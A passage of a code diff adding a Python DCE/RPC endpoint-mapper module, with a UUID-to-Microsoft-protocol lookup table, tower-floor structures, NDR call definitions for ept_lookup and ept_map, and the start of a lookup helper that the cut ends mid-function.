+'69AB7050-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'7D07F313-A53F-459A-BB12-012C15B1846E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'BB39332C-BFEE-4380-AD8A-BADC8AFF5BB6':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'B057DC50-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
+'894DE0C0-0D55-11D3-A322-00C04FA321A1':'[MS-RSP]: Remote Shutdown Protocol',
+'D95AFE70-A6D5-4259-822E-2C84DA1DDB0D':'[MS-RSP]: Remote Shutdown Protocol',
+'12345778-1234-ABCD-EF00-0123456789AC':'[MS-SAMR]: Security Account Manager (SAM) Remote Protocol',
+'01954E6B-9254-4E6E-808C-C9E05D007696':'[MS-SCMP]: Shadow Copy Management Protocol',
+'FA7DF749-66E7-4986-A27F-E2F04AE53772':'[MS-SCMP]: Shadow Copy Management Protocol',
+'214A0F28-B737-4026-B847-4F9E37D79529':'[MS-SCMP]: Shadow Copy Management Protocol',
+'AE1C7110-2F60-11D3-8A39-00C04F72D8E3':'[MS-SCMP]: Shadow Copy Management Protocol',
+'367ABB81-9844-35F1-AD32-98F038001003':'[MS-SCMR]: Service Control Manager Remote Protocol',
+'4B324FC8-1670-01D3-1278-5A47BF6EE188':'[MS-SRVS]: Server Service Remote Protocol',
+'CCD8C074-D0E5-4A40-92B4-D074FAA6BA28':'[MS-SWN]: Service Witness Protocol',
+'1A1BB35F-ABB8-451C-A1AE-33D98F1BEF4A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',
+'1C60A923-2D86-46AA-928A-E7F3E37577AF':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',
+'FDF8A2B9-02DE-47F4-BC26-AA85AB5E5267':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',
+'112B1DFF-D9DC-41F7-869F-D67FEE7CB591':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',
+'152EA2A8-70DC-4C59-8B2A-32AA3CA0DCAC':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',
+'16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',
+'3C745A97-F375-4150-BE17-5950F694C699':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',
+'2F5F6521-CA47-1068-B319-00DD010662DB':'[MS-TRP]: Telephony Remote Protocol',
+'2F5F6520-CA46-1067-B319-00DD010662DA':'[MS-TRP]: Telephony Remote Protocol',
+'1FF70682-0A51-30E8-076D-740BE8CEE98B':'[MS-TSCH]: Task Scheduler Service Remoting Protocol',
+'378E52B0-C0A9-11CF-822D-00AA0051E40F':'[MS-TSCH]: Task Scheduler Service Remoting Protocol',
+'86D35949-83C9-4044-B424-DB363231FD0C':'[MS-TSCH]: Task Scheduler Service Remoting Protocol',
+'44E265DD-7DAF-42CD-8560-3CDB6E7A2729':'[MS-TSGU]: Terminal Services Gateway Server Protocol',
+'034634FD-BA3F-11D1-856A-00A0C944138C':'[MS-TSRAP]: Telnet Server Remote Administration Protocol',
+'497D95A6-2D27-4BF5-9BBD-A6046957133C':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
+'11899A43-2B68-4A76-92E3-A3D6AD8C26CE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
+'5CA4A760-EBB1-11CF-8611-00A0245420ED':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
+'BDE95FDF-EEE0-45DE-9E12-E5A61CD0D4FE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
+'484809D6-4239-471B-B5BC-61DF8C23AC48':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
+'88143FD0-C28D-4B2B-8FEF-8D882F6A9390':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
+'1257B580-CE2F-4109-82D6-A9459D0BF6BC':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
+'53B46B02-C73B-4A3E-8DEE-B16B80672FC0':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
+'DDE02280-12B3-4E0B-937B-6747F6ACB286':'[MS-UAMG]: Update Agent Management Protocol',
+'112EDA6B-95B3-476F-9D90-AEE82C6B8181':'[MS-UAMG]: Update Agent Management Protocol',
+'144FE9B0-D23D-4A8B-8634-FB4457533B7A':'[MS-UAMG]: Update Agent Management Protocol',
+'70CF5C82-8642-42BB-9DBC-0CFD263C6C4F':'[MS-UAMG]: Update Agent Management Protocol',
+'49EBD502-4A96-41BD-9E3E-4C5057F4250C':'[MS-UAMG]: Update Agent Management Protocol',
+'7C907864-346C-4AEB-8F3F-57DA289F969F':'[MS-UAMG]: Update Agent Management Protocol',
+'46297823-9940-4C09-AED9-CD3EA6D05968':'[MS-UAMG]: Update Agent Management Protocol',
+'4CBDCB2D-1589-4BEB-BD1C-3E582FF0ADD0':'[MS-UAMG]: Update Agent Management Protocol',
+'8F45ABF1-F9AE-4B95-A933-F0F66E5056EA':'[MS-UAMG]: Update Agent Management Protocol',
+'6A92B07A-D821-4682-B423-5C805022CC4D':'[MS-UAMG]: Update Agent Management Protocol',
+'54A2CB2D-9A0C-48B6-8A50-9ABB69EE2D02':'[MS-UAMG]: Update Agent Management Protocol',
+'0D521700-A372-4BEF-828B-3D00C10ADEBD':'[MS-UAMG]: Update Agent Management Protocol',
+'C2BFB780-4539-4132-AB8C-0A8772013AB6':'[MS-UAMG]: Update Agent Management Protocol',
+'1518B460-6518-4172-940F-C75883B24CEB':'[MS-UAMG]: Update Agent Management Protocol',
+'81DDC1B8-9D35-47A6-B471-5B80F519223B':'[MS-UAMG]: Update Agent Management Protocol',
+'BC5513C8-B3B8-4BF7-A4D4-361C0D8C88BA':'[MS-UAMG]: Update Agent Management Protocol',
+'C1C2F21A-D2F4-4902-B5C6-8A081C19A890':'[MS-UAMG]: Update Agent Management Protocol',
+'07F7438C-7709-4CA5-B518-91279288134E':'[MS-UAMG]: Update Agent Management Protocol',
+'C97AD11B-F257-420B-9D9F-377F733F6F68':'[MS-UAMG]: Update Agent Management Protocol',
+'3A56BFB8-576C-43F7-9335-FE4838FD7E37':'[MS-UAMG]: Update Agent Management Protocol',
+'615C4269-7A48-43BD-96B7-BF6CA27D6C3E':'[MS-UAMG]: Update Agent Management Protocol',
+'004C6A2B-0C19-4C69-9F5C-A269B2560DB9':'[MS-UAMG]: Update Agent Management Protocol',
+'7366EA16-7A1A-4EA2-B042-973D3E9CD99B':'[MS-UAMG]: Update Agent Management Protocol',
+'A376DD5E-09D4-427F-AF7C-FED5B6E1C1D6':'[MS-UAMG]: Update Agent Management Protocol',
+'23857E3C-02BA-44A3-9423-B1C900805F37':'[MS-UAMG]: Update Agent Management Protocol',
+'B383CD1A-5CE9-4504-9F63-764B1236F191':'[MS-UAMG]: Update Agent Management Protocol',
+'76B3B17E-AED6-4DA5-85F0-83587F81ABE3':'[MS-UAMG]: Update Agent Management Protocol',
+'0BB8531D-7E8D-424F-986C-A0B8F60A3E7B':'[MS-UAMG]: Update Agent Management Protocol',
+'91CAF7B0-EB23-49ED-9937-C52D817F46F7':'[MS-UAMG]: Update Agent Management Protocol',
+'673425BF-C082-4C7C-BDFD-569464B8E0CE':'[MS-UAMG]: Update Agent Management Protocol',
+'EFF90582-2DDC-480F-A06D-60F3FBC362C3':'[MS-UAMG]: Update Agent Management Protocol',
+'D9A59339-E245-4DBD-9686-4D5763E39624':'[MS-UAMG]: Update Agent Management Protocol',
+'9B0353AA-0E52-44FF-B8B0-1F7FA0437F88':'[MS-UAMG]: Update Agent Management Protocol',
+'503626A3-8E14-4729-9355-0FE664BD2321':'[MS-UAMG]: Update Agent Management Protocol',
+'85713FA1-7796-4FA2-BE3B-E2D6124DD373':'[MS-UAMG]: Update Agent Management Protocol',
+'816858A4-260D-4260-933A-2585F1ABC76B':'[MS-UAMG]: Update Agent Management Protocol',
+'27E94B0D-5139-49A2-9A61-93522DC54652':'[MS-UAMG]: Update Agent Management Protocol',
+'E7A4D634-7942-4DD9-A111-82228BA33901':'[MS-UAMG]: Update Agent Management Protocol',
+'D40CFF62-E08C-4498-941A-01E25F0FD33C':'[MS-UAMG]: Update Agent Management Protocol',
+'ED8BFE40-A60B-42EA-9652-817DFCFA23EC':'[MS-UAMG]: Update Agent Management Protocol',
+'A7F04F3C-A290-435B-AADF-A116C3357A5C':'[MS-UAMG]: Update Agent Management Protocol',
+'4A2F5C31-CFD9-410E-B7FB-29A653973A0F':'[MS-UAMG]: Update Agent Management Protocol',
+'BE56A644-AF0E-4E0E-A311-C1D8E695CBFF':'[MS-UAMG]: Update Agent Management Protocol',
+'918EFD1E-B5D8-4C90-8540-AEB9BDC56F9D':'[MS-UAMG]: Update Agent Management Protocol',
+'04C6895D-EAF2-4034-97F3-311DE9BE413A':'[MS-UAMG]: Update Agent Management Protocol',
+'15FC031C-0652-4306-B2C3-F558B8F837E2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'4DBCEE9A-6343-4651-B85F-5E75D74D983C':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'1E062B84-E5E6-4B4B-8A25-67B81E8F13E8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'2ABD757F-2851-4997-9A13-47D2A885D6CA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'9CBE50CA-F2D2-4BF4-ACE1-96896B729625':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'4DAA0135-E1D1-40F1-AAA5-3CC1E53221C3':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'3858C0D5-0F35-4BF5-9714-69874963BC36':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'40F73C8B-687D-4A13-8D96-3D7F2E683936':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'8F4B2F5D-EC15-4357-992F-473EF10975B9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'FC5D23E8-A88B-41A5-8DE0-2D2F73C5A630':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'B07FEDD4-1682-4440-9189-A39B55194DC5':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'72AE6713-DCBB-4A03-B36B-371F6AC6B53D':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'B6B22DA8-F903-4BE7-B492-C09D875AC9DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'538684E0-BA3D-4BC0-ACA9-164AFF85C2A9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'75C8F324-F715-4FE3-A28E-F9011B61A4A1':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'90681B1D-6A7F-48E8-9061-31B7AA125322':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'9882F547-CFC3-420B-9750-00DFBEC50662':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'83BFB87F-43FB-4903-BAA6-127F01029EEC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'EE2D5DED-6236-4169-931D-B9778CE03DC6':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'9723F420-9355-42DE-AB66-E31BB15BEEAC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'4AFC3636-DB01-4052-80C3-03BBCB8D3C69':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'D99BDAAE-B13A-4178-9FDB-E27F16B4603E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'D68168C9-82A2-4F85-B6E9-74707C49A58F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'13B50BFF-290A-47DD-8558-B7C58DB1A71A':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'6E6F6B40-977C-4069-BDDD-AC710059F8C0':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'9AA58360-CE33-4F92-B658-ED24B14425B8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'E0393303-90D4-4A97-AB71-E9B671EE2729':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'07E5C822-F00C-47A1-8FCE-B244DA56FD06':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'8326CD1D-CF59-4936-B786-5EFC08798E25':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'1BE2275A-B315-4F70-9E44-879B3A2A53F2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'0316560B-5DB4-4ED9-BBB5-213436DDC0D9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'14FBE036-3ED7-4E10-90E9-A5FF991AFF01':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'3B69D7F5-9D94-4648-91CA-79939BA263BF':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'D5D23B6D-5A55-4492-9889-397A3C2D2DBC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'88306BB2-E71F-478C-86A2-79DA200A0F11':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'118610B7-8D94-4030-B5B8-500889788E4E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'0AC13689-3134-47C6-A17C-4669216801BE':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'0818A8EF-9BA9-40D8-A6F9-E22833CC771E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'6788FAF9-214E-4B85-BA59-266953616E09':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'B481498C-8354-45F9-84A0-0BDD2832A91F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'10C5E575-7984-4E81-A56B-431F5F92AE42':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'38A0A9AB-7CC8-4693-AC07-1F28BD03C3DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
+'8FB6D884-2388-11D0-8C35-00C04FDA2795':'[MS-W32T]: W32Time Remote Protocol',
+'5422FD3A-D4B8-4CEF-A12E-E87D4CA22E90':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol',
+'D99E6E70-FC88-11D0-B498-00A0C90312F3':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol',
+'1A927394-352E-4553-AE3F-7CF4AAFCA620':'[MS-WDSC]: Windows Deployment Services Control Protocol',
+'6BFFD098-A112-3610-9833-46C3F87E345A':'[MS-WKST]: Workstation Service Remote Protocol',
+'F1E9C5B2-F59B-11D2-B362-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'423EC01E-2E35-11D2-B604-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'9556DC99-828C-11CF-A37E-00AA003240C7':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'F309AD18-D86A-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'9A653086-174F-11D2-B5F9-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'D4781CD6-E5D3-44DF-AD94-930EFE48A887':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'44ACA674-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'541679AB-2E5F-11D3-B34E-00104BCC4B4A':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'027947E1-D731-11CE-A357-000000000001':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'A359DEC5-E813-4834-8A2A-BA7F1D777D76':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'C49E32C6-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'C49E32C7-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'2C9273E0-1DC3-11D3-B364-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'7C857801-7381-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'DC12A681-737F-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'8BC3F05E-D86B-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'44ACA675-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'1C1C45EE-4395-11D2-B60B-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'674B6698-EE92-11D0-AD71-00C04FD8FDFF':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
+'FC910418-55CA-45EF-B264-83D4CE7D30E0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'C5CEBEE2-9DF5-4CDD-A08C-C2471BC144B4':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'F31931A9-832D-481C-9503-887A0E6A79F0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'21546AE8-4DA5-445E-987F-627FEA39C5E8':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'BC681469-9DD9-4BF4-9B3D-709F69EFE431':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'4F7CA01C-A9E5-45B6-B142-2332A1339C1D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'2A3EB639-D134-422D-90D8-AAA1B5216202':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'59602EB6-57B0-4FD8-AA4B-EBF06971FE15':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'481E06CF-AB04-4498-8FFE-124A0A34296D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'E8BCFFAC-B864-4574-B2E8-F1FB21DFDC18':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'943991A5-B3FE-41FA-9696-7F7B656EE34B':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
+'BBA9CB76-EB0C-462C-AA1B-5D8C34415701':'[MS-ADTS]: Active Directory Technical Specification',
+'906B0CE0-C70B-1067-B317-00DD010662DA':'[MS-CMPO]: MSDTC Connection Manager:',
+'E3514235-4B06-11D1-AB04-00C04FC2DCD2':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol',
+'F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C':'[MS-EVEN6]: EventLog Remoting Protocol',
+'D049B186-814F-11D1-9A3C-00C04FC9B232':'[MS-FRS1]: File Replication Service Protocol',
+'F5CC59B4-4264-101A-8C59-08002B2F8426':'[MS-FRS1]: File Replication Service Protocol',
+'5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC':'[MS-MSRP]: Messenger Service Remote Protocol',
+'F5CC5A18-4264-101A-8C59-08002B2F8426':'[MS-NSPI]: Name Service Provider Interface (NSPI) Protocol',
+'E33C0CC4-0482-101A-BC0C-02608C6BA218':'[MS-RPCL]: Remote Procedure Call Location Services Extensions',
+'AFA8BD80-7D8A-11C9-BEF4-08002B102989':'[MS-RPCE]: Remote Management Interface',
+'00000134-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM)',
+'18F70770-8E64-11CF-9AF1-0020AF6E72F4':'[MS-DCOM]: Distributed Component Object Model (DCOM)',
+'958F92D8-DA20-467A-BBE3-65E7E9B4EDCF':'[MS-TSGU]: Terminal Services Gateway Server Management Interface',
+'6050B110-CE87-4126-A114-50AEFCFC95F8':'[MS-DCOM]: Distributed Component Object Model (DCOM)',
+'1544F5E0-613C-11D1-93DF-00C04FD7BD09':'[MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol',
+'A4F1DB00-CA47-1067-B31F-00DD010662DA':'[MS-OXCRPC]: Wire Format Protocol',
+'5261574A-4572-206E-B268-6B199213B4E4':'[MS-OXCRPC]: Wire Format Protocol',
+}
+
+# Inquire Type
+RPC_C_EP_ALL_ELTS     = 0x0
+RPC_C_EP_MATCH_BY_IF  = 0x1
+RPC_C_EP_MATH_BY_OBJ  = 0x2
+RPC_C_EP_MATH_BY_BOTH = 0x1
+
+# Vers Option
+RPC_C_VERS_ALL        = 0x1
+RPC_C_VERS_COMPATIBLE = 0x2
+RPC_C_VERS_EXACT      = 0x3
+RPC_C_VERS_MARJOR_ONLY= 0x4
+RPC_C_VERS_UPTO       = 0x5
+
+# Search 
+RPC_NO_MORE_ELEMENTS  = 0x16c9a0d6 
+
+# Floors constants
+FLOOR_UUID_IDENTIFIER = 0x0d
+# Protocol Identifiers
+FLOOR_RPCV5_IDENTIFIER = 0x0b # DCERPC Connection Oriented v.5
+FLOOR_MSNP_IDENTIFIER  = 0x0c # MS Named Pipes (LRPC)
+# Pipe Identifier
+FLOOR_NBNP_IDENTIFIER  = 0x0f # NetBIOS Named Pipe
+# HostName Identifier
+FLOOR_MSNB_IDENTIFIER  = 0x11 # MS NetBIOS HostName
+# PortAddr Identifier
+FLOOR_TCPPORT_IDENTIFIER = 0x07
+# HTTP Protocol
+FLOOR_HTTP_IDENTIFIER  = 0x1f
+
+################################################################################
+# STRUCTURES
+################################################################################
+
+# Tower Floors: As states in C706:
+# This appendix defines the rules for encoding an protocol_tower_t (abstract)
+# into the twr_t.tower_octet_string and twr_p_t->tower_octet_string fields 
+# (concrete). For historical reasons, this cannot be done using the standard NDR 
+# encoding rules for marshalling and unmarshalling. A special encoding is 
+# required.
+# Note that the twr_t and twr_p_t are mashalled as standard IDL data types, 
+# encoded in the standard transfer syntax (for example, NDR). As far as IDL and 
+# NDR are concerned, tower_octet_string is simply an opaque conformant byte 
+# array. This section only defines how to construct this opaque open array of 
+# octets, which contains the actual protocol tower information.
+# The tower_octet_string[ ] is a variable length array of octets that encodes 
+# a single, complete protocol tower. It is encoded as follows:
+# * Addresses increase, reading from left to right.
+# * Each tower_octet_string begins with a 2-byte floor count, encoded 
+#   little-endian, followed by the tower floors as follows:
+# +-------------+---------+---------+---------+---------+---------+ 
+# |  floorcount |  floor1 |  floor2 |  floor3 |   ...   |  floorn | 
+# +-------------+---------+---------+---------+---------+---------+
+# The number of tower floors is specific to the particular protocol tower, 
+# also known as a protseq.
+# * Eachtowerfloorcontainsthefollowing:
+#   |<-   tower floor left hand side   ->|<-  tower floor right hand side  ->|
+#   +------------+-----------------------+------------+----------------------+
+#   |  LHS byte  |  protocol identifier  |  RHS byte  |  related or address  |
+#   |   count    |        data           |   count    |        data          |
+#   +------------+-----------------------+------------+----------------------+
+# The LHS (Left Hand Side) of the floor contains protocol identifier information.
+# Protocol identifier values and construction rules are defined in Appendix I.
+# The RHS (Right Hand Side) of the floor contains related or addressing 
+# information. The type and encoding for the currently defined protocol 
+# identifiers are given in Appendix I.
+# The floor count, LHS byte count and RHS byte count are all 2-bytes, 
+# in little endian format.
+#
+# So.. we're gonna use Structure to solve this
+
+# Standard Floor Assignments
+class EPMFloor(Structure):
+    structure = (
+        ('LHSByteCount','<H=0'),
+        ('_ProtocolData','_-ProtocolData','self["LHSByteCount"]'),
+        ('ProtocolData',':'),
+        ('RHSByteCount','<H=0'),
+        ('_RelatedData','_-RelatedData','self["RHSByteCount"]'),
+        ('RelatedData',':'),
+    ) 
+
+class EPMRPCInterface(EPMFloor):
+    structure = (
+        ('LHSByteCount','<H=19'),
+        ('InterfaceIdent','B=0x0d'),
+        ('InterfaceUUID','16s=""'),
+        ('MajorVersion','<H=0'),
+        ('RHSByteCount','<H=2'),
+        ('MinorVersion','<H=0'),
+    )
+    def __init__(self, data = None):
+        EPMFloor.__init__(self, data)
+
+    def __str__(self):
+        aUuid = bin_to_string(self["InterfaceUUID"])
+        return "%s v%d.%d" % (aUuid,self["MajorVersion"],self["MinorVersion"])
+
+    def __len__(self):
+       return 25
+
+class EPMRPCDataRepresentation(EPMFloor):
+    structure = (
+        ('LHSByteCount','<H=19'),
+        ('DrepIdentifier','B=0x0d'),
+        ('DataRepUuid','16s=""'),
+        ('MajorVersion','<H=0'),
+        ('RHSByteCount','<H=2'),
+        ('MinorVersion','<H=0'),
+    )
+    def __init__(self, data = None):
+        EPMFloor.__init__(self, data)
+
+    def __str__(self):
+        aUuid = bin_to_string(self["DataRepUuid"])
+        return "%s v%d.%d" % (aUuid,self["MajorVersion"],self["MinorVersion"])
+
+    def __len__(self):
+       return 25
+
+class EPMProtocolIdentifier(EPMFloor):
+    structure = (
+        ('LHSByteCount','<H=1'),
+        ('ProtIdentifier','B=0'),
+        ('RHSByteCount','<H=2'),
+        ('MinorVersion','<H=0'),
+    )
+    def __init__(self, data = None):
+        EPMFloor.__init__(self, data)
+
+    def __len__(self):
+       return 6
+
+class EPMPipeName(EPMFloor):
+    structure = (
+        ('LHSByteCount','<H=1'),
+        ('PipeIdentifier','B=15'),
+        ('RHSByteCount','<H=len(PipeName)'),
+        ('PipeName',':'),
+    )
+
+class EPMHostName(EPMFloor):
+    structure = (
+        ('LHSByteCount','<H=1'),
+        ('HostNameIdentifier','B=17'),
+        ('RHSByteCount','<H=len(HostName)'),
+        ('HostName',':'),
+    )
+
+class EPMHostAddr(EPMFloor):
+    structure = (
+        ('LHSByteCount','<H=1'),
+        ('HostAddressId','B=9'),
+        ('RHSByteCount','<H=len(Ip4addr)'),
+        ('Ip4addr','4s=""'),
+    )
+
+class EPMPortAddr(EPMFloor):
+    structure = (
+        ('LHSByteCount','<H=1'),
+        ('PortIdentifier','B=7'),
+        ('RHSByteCount','<H=2'),
+        ('IpPort','>H=0'),
+    )
+
+EPMFloors = [ 
+EPMRPCInterface,
+EPMRPCDataRepresentation,
+EPMFloor,
+EPMFloor,
+EPMFloor,
+EPMFloor
+]
+
+class EPMTower(Structure):
+    structure = (
+        ('NumberOfFloors','<H'),
+        ('Floors',':'),
+    )
+    def fromString(self,data):
+        Structure.fromString(self,data)
+        floors = self['Floors']
+        fList = []
+        for f in range(self['NumberOfFloors']):
+            floor = EPMFloors[f](floors)
+            floors = floors[len(floor):]
+            fList.append(floor) 
+        self['Floors'] = fList
+
+    #def __len__(self):
+    #   ll = 0
+    #   for i in self['Floors']:
+    #       ll += len(i) 
+    #   ll += 10
+    #   ll += (4-ll%4) & 3
+    #   return ll
+
+class RPC_IF_ID(NDRSTRUCT):
+    structure = (
+        ('Uuid', UUID ),
+        ('VersMajor', USHORT),
+        ('VersMinor', USHORT),
+    )
+
+class PRPC_IF_ID(NDRPOINTER):
+    referent = (
+        ('Data', RPC_IF_ID),
+    )
+
+class ept_lookup_handle_t(NDRSTRUCT):
+    structure =  (
+        ('context_handle_attributes',ULONG),
+        ('context_handle_uuid',UUID),
+    )
+
+    def __init__(self, data=None, isNDR64=False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        self['context_handle_uuid'] = b'\x00'*16
+
+    def isNull(self):
+        return self['context_handle_uuid'] == b'\x00'*16
+
+class twr_t(NDRSTRUCT):
+    structure = (
+        ('tower_length', ULONG),
+        ('tower_octet_string', NDRUniConformantArray),
+    )
+
+class twr_p_t(NDRPOINTER):
+    referent = (
+        ('Data', twr_t),
+    )
+
+class octet_string_t(NDRSTRUCT):
+    structure = (
+        ('count', USHORT),
+        ('value', LPBYTE),
+    )
+
+class prot_and_addr_t(NDRSTRUCT):
+    structure = (
+        ('protocol_id', octet_string_t),
+        ('address', octet_string_t),
+    )
+
+class protocol_tower_t(NDRSTRUCT):
+    structure = (
+        ('count', USHORT),
+        ('floors', prot_and_addr_t ),
+    )
+
+class ept_entry_t(NDRSTRUCT):
+    structure = (
+        ('object',UUID),
+        ('tower',twr_p_t),
+        ('annotation', NDRUniVaryingArray),
+    )
+
+class ept_entry_t_array(NDRUniConformantVaryingArray):
+    item = ept_entry_t
+
+class twr_p_t_array(NDRUniConformantVaryingArray):
+    item = twr_p_t
+
+error_status = ULONG
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+class ept_lookup(NDRCALL):
+    opnum = 2
+    structure = (
+        ('inquiry_type',ULONG),
+        ('object',PUUID),
+        ('Ifid',PRPC_IF_ID),
+        ('vers_option',ULONG),
+        ('entry_handle',ept_lookup_handle_t),
+        ('max_ents',ULONG),
+    )
+
+class ept_lookupResponse(NDRCALL):
+    structure = (
+        ('entry_handle',ept_lookup_handle_t),
+        ('num_ents',ULONG),
+        ('entries',ept_entry_t_array),
+        ('status',error_status),
+    )
+
+class ept_map(NDRCALL):
+    opnum = 3
+    structure = (
+        ('obj',PUUID),
+        ('map_tower',twr_p_t),
+        ('entry_handle',ept_lookup_handle_t),
+        ('max_towers',ULONG),
+    )
+
+class ept_mapResponse(NDRCALL):
+    structure = (
+        ('entry_handle',ept_lookup_handle_t),
+        ('num_towers',ULONG),
+        ('ITowers',twr_p_t_array),
+        ('status',error_status),
+    )
+
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+
+def hept_lookup(destHost, inquiry_type = RPC_C_EP_ALL_ELTS, objectUUID = NULL, ifId = NULL, vers_option = RPC_C_VERS_ALL, dce = None):
+    if dce is None:
+        stringBinding = r'ncacn_ip_tcp:%s[135]' % destHost
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        disconnect = True
+    else:
+        disconnect = False
+
+    dce.bind(MSRPC_UUID_PORTMAP)
+
+    entries = []
+    entry_handle = ept_lookup_handle_t()
+
+    while True:
+        request = ept_lookup()
+        request['inquiry_type'] = inquiry_type
+        request['object'] = objectUUID
+        if ifId != NULL:
+            request['Ifid']['Uuid'] = ifId[:16]
